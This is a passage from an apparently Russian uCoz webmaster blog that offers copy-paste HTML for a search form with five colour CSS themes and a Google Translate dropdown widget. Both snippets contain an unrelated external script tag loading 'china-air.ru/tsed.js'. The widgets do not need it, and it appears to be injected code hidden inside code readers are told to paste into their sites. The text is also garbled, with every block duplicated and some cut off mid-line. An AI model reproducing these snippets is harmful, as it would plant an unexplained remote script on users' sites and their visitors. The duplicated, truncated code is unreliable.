- startsmart
- 28.12.2012
- 0
- 428
Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
В место:
Код
$SEARCH_FORM$
Везде ставим:
Код
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
<input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<input class="poick_knopka" type="submit" value="Найти" />
<input type="hidden" name="t" value="0" />
</form>
<input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<input class="poick_knopka" type="submit" value="Найти" />
<input type="hidden" name="t" value="0" />
</form>
И теперь остается прописать стили!
Фиолетовая форма:
Код
/* Форма поиска фиолетовая кнопка
------------------------------------------*/
.poick_os {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}
.poick_os input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}
.poick_pole {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}
.poick_knopka {
text-shadow: 1px 1px 1px #751a9b;
width:70px;
height:27px;
cursor:pointer;
background:#ce36fa;
border:1px solid #a622e3;
color:#fff; font-weight: bold!important;
}
.poick_knopka:hover {background:#b73cea;}
.poick_os,
.poick_knopka {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
------------------------------------------*/
.poick_os {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}
.poick_os input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}
.poick_pole {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}
.poick_knopka {
text-shadow: 1px 1px 1px #751a9b;
width:70px;
height:27px;
cursor:pointer;
background:#ce36fa;
border:1px solid #a622e3;
color:#fff; font-weight: bold!important;
}
.poick_knopka:hover {background:#b73cea;}
.poick_os,
.poick_knopka {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
Синяя форма:
Код
/* Форма поиска синяя кнопка
------------------------------------------*/
.poick_os1 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}
.poick_os1 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}
.poick_pole1 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}
.poick_knopka1 {
text-shadow: 1px 1px 1px #1061B0;
width:70px;
height:27px;
cursor:pointer;
background:#36A6FA;
border:1px solid #2290e3;
color:#fff; font-weight: bold!important;
}
.poick_knopka1:hover {background:#3c9fea;}
.poick_os1,
.poick_knopka1 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
------------------------------------------*/
.poick_os1 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}
.poick_os1 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}
.poick_pole1 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}
.poick_knopka1 {
text-shadow: 1px 1px 1px #1061B0;
width:70px;
height:27px;
cursor:pointer;
background:#36A6FA;
border:1px solid #2290e3;
color:#fff; font-weight: bold!important;
}
.poick_knopka1:hover {background:#3c9fea;}
.poick_os1,
.poick_knopka1 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
Красная форма:
Код
/* Форма поиска красная кнопка
------------------------------------------*/
.poick_os2 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}
.poick_os2 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}
.poick_pole2 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}
.poick_knopka2 {
text-shadow: 1px 1px 1px #b01010;
width:70px;
height:27px;
cursor:pointer;
background:#fa3636;
border:1px solid #e32222;
color:#fff; font-weight: bold!important;
}
.poick_knopka2:hover {background:#ea3c3c;}
.poick_os2,
.poick_knopka2 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
------------------------------------------*/
.poick_os2 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}
.poick_os2 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}
.poick_pole2 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}
.poick_knopka2 {
text-shadow: 1px 1px 1px #b01010;
width:70px;
height:27px;
cursor:pointer;
background:#fa3636;
border:1px solid #e32222;
color:#fff; font-weight: bold!important;
}
.poick_knopka2:hover {background:#ea3c3c;}
.poick_os2,
.poick_knopka2 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
Зеленая форма:
Код
/* Форма поиска зелёная кнопка
------------------------------------------*/
.poick_os3 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}
.poick_os3 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}
.poick_pole3 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}
.poick_knopka3 {
text-shadow: 1px 1px 1px #368620;
width:70px;
height:27px;
cursor:pointer;
background:#6ae14a;
border:1px solid #57c939;
color:#fff; font-weight: bold!important;
}
.poick_knopka3:hover {background:#65d447;}
.poick_os3,
.poick_knopka3 {
-webkit-border-radius: 3px;
-moz-border-rad ... Читать дальше »
------------------------------------------*/
.poick_os3 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}
.poick_os3 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}
.poick_pole3 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}
.poick_knopka3 {
text-shadow: 1px 1px 1px #368620;
width:70px;
height:27px;
cursor:pointer;
background:#6ae14a;
border:1px solid #57c939;
color:#fff; font-weight: bold!important;
}
.poick_knopka3:hover {background:#65d447;}
.poick_os3,
.poick_knopka3 {
-webkit-border-radius: 3px;
-moz-border-rad ... Читать дальше »
- startsmart
- 28.12.2012
- 0
- 406
Преимущество: очень мало занимает места на сайте,подойдет под любой дизайн..
Перевод сайта uCoz на другие языки мира доступны 22 языка увеличьте посещаемость своего сайта иностранными гражданами
Вставляем по месту:
Код
<link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/romestyle.css">
<script type="text/javascript" src="http://bambun.ru/css_js/rome.js"></script>
<div class="chromestyle" id="chromemenu">
<ul>
<li><a href="bambun.ru" rel="dropmenu2" onclick="window.open('http://bambun.ru', '_blank', 'width=600,height=500,top=100,left=100,resizable=1,scrollbars=yes');return(false);" target="_blank"></a></li>
</ul>
</div>
<div id="dropmenu1" class="dropmenudiv">
</div>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<div id="dropmenu2" class="dropmenudiv" style="width: 300px;">
<form action="http://www.google.com/translate">
<script language="JavaScript">
document.write ("<input name=u value="+location.href+" type=hidden>")
</script>
<input value="ru" name="hl" type="hidden">
<input value="UTF8" name="ie" type="hidden">
<input value="" name="langpair" type="hidden"><div align="center"><span style="font-size: 8pt;"><b>Выбрать язык / Select language:</b></span></div>
<table style="border-collapse: collapse; width: 100%;"><tbody><tr><td>
<input onclick="this.form.langpair.value=this.value" title="Ukranian" value="ru|uk" src="http://bambun.ru/images/Ukraine.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Ukranian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="English" value="ru|en" src="http://bambun.ru/images/Britain.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">English</span><BR>
<input onclick="this.form.langpair.value=this.value" title="French" value="ru|fr" src="http://bambun.ru/images/France.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">French</span><BR>
<input onclick="this.form.langpair.value=this.value" title="German" value="ru|de" src="http://bambun.ru/images/Germany.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">German</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Japanese" value="ru|ja" src="http://bambun.ru/images/japan.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Japanese</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Italian" value="ru|it" src="http://bambun.ru/images/Italy.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Italian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Portuguese" value="ru|pt" src="http://bambun.ru/images/Portugal.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Portuguese</span>
</td><td>
<input onclick="this.form.langpair.value=this.value" title="Spanish" value="ru|es" src="http://bambun.ru/images/Spain.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Spanish</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Danish" value="ru|da" src="http://bambun.ru/images/Denmark.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Danish</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Chinese" value="ru|zh-CN" src="http://bambun.ru/images/China.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Chinese</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Korean" value="ru|ko" src="http://bambun.ru/images/Korea.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Korean</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Arabic" value="ru|ar" src="http://bambun.ru/images/Arab.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Arabic</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Czech" value="ru|cs" src="http://bambun.ru/images/Czech.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Czech</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Estonian" value="ru|et" src="http://bambun.ru/images/Estonia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Estonian</span>
</td><td>
<input onclick="this.form.langpair.value=this.value" title="Belarusian" value="ru|be" src="http://bambun.ru/images/Belarus.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Belarusian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Latvian" value="ru|lv" src="http://bambun.ru/images/Latvia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Latvian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Greek" value="ru|el" src="http://bambun.ru/images/Greece.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Greek</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Finnish" value="ru|fi" src="http://bambun.ru/images/Finland.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Finnish</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Serbian" value="ru|sr" src="http://bambun.ru/images/Serbia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Serbian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Bulgarian" value="ru|bg" src="http://bambun.ru/images/Bulgaria.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Bulgarian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Turkish" value="ru|tr" src="http://bambun.ru/images/Turkey.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Turkish</span>
</form></td></tr></tbody></table>
</div>
<script type="text/javascript">
cssdropdown.startchrome("chromemenu")
</script>
<script type="text/javascript" src="http://bambun.ru/css_js/rome.js"></script>
<div class="chromestyle" id="chromemenu">
<ul>
<li><a href="bambun.ru" rel="dropmenu2" onclick="window.open('http://bambun.ru', '_blank', 'width=600,height=500,top=100,left=100,resizable=1,scrollbars=yes');return(false);" target="_blank"></a></li>
</ul>
</div>
<div id="dropmenu1" class="dropmenudiv">
</div>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<div id="dropmenu2" class="dropmenudiv" style="width: 300px;">
<form action="http://www.google.com/translate">
<script language="JavaScript">
document.write ("<input name=u value="+location.href+" type=hidden>")
</script>
<input value="ru" name="hl" type="hidden">
<input value="UTF8" name="ie" type="hidden">
<input value="" name="langpair" type="hidden"><div align="center"><span style="font-size: 8pt;"><b>Выбрать язык / Select language:</b></span></div>
<table style="border-collapse: collapse; width: 100%;"><tbody><tr><td>
<input onclick="this.form.langpair.value=this.value" title="Ukranian" value="ru|uk" src="http://bambun.ru/images/Ukraine.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Ukranian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="English" value="ru|en" src="http://bambun.ru/images/Britain.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">English</span><BR>
<input onclick="this.form.langpair.value=this.value" title="French" value="ru|fr" src="http://bambun.ru/images/France.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">French</span><BR>
<input onclick="this.form.langpair.value=this.value" title="German" value="ru|de" src="http://bambun.ru/images/Germany.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">German</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Japanese" value="ru|ja" src="http://bambun.ru/images/japan.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Japanese</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Italian" value="ru|it" src="http://bambun.ru/images/Italy.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Italian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Portuguese" value="ru|pt" src="http://bambun.ru/images/Portugal.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Portuguese</span>
</td><td>
<input onclick="this.form.langpair.value=this.value" title="Spanish" value="ru|es" src="http://bambun.ru/images/Spain.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Spanish</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Danish" value="ru|da" src="http://bambun.ru/images/Denmark.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Danish</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Chinese" value="ru|zh-CN" src="http://bambun.ru/images/China.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Chinese</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Korean" value="ru|ko" src="http://bambun.ru/images/Korea.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Korean</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Arabic" value="ru|ar" src="http://bambun.ru/images/Arab.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Arabic</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Czech" value="ru|cs" src="http://bambun.ru/images/Czech.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Czech</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Estonian" value="ru|et" src="http://bambun.ru/images/Estonia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Estonian</span>
</td><td>
<input onclick="this.form.langpair.value=this.value" title="Belarusian" value="ru|be" src="http://bambun.ru/images/Belarus.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Belarusian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Latvian" value="ru|lv" src="http://bambun.ru/images/Latvia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Latvian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Greek" value="ru|el" src="http://bambun.ru/images/Greece.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Greek</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Finnish" value="ru|fi" src="http://bambun.ru/images/Finland.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Finnish</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Serbian" value="ru|sr" src="http://bambun.ru/images/Serbia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Serbian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Bulgarian" value="ru|bg" src="http://bambun.ru/images/Bulgaria.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Bulgarian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Turkish" value="ru|tr" src="http://bambun.ru/images/Turkey.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Turkish</span>
</form></td></tr></tbody></table>
</div>
<script type="text/javascript">
cssdropdown.startchrome("chromemenu")
</script>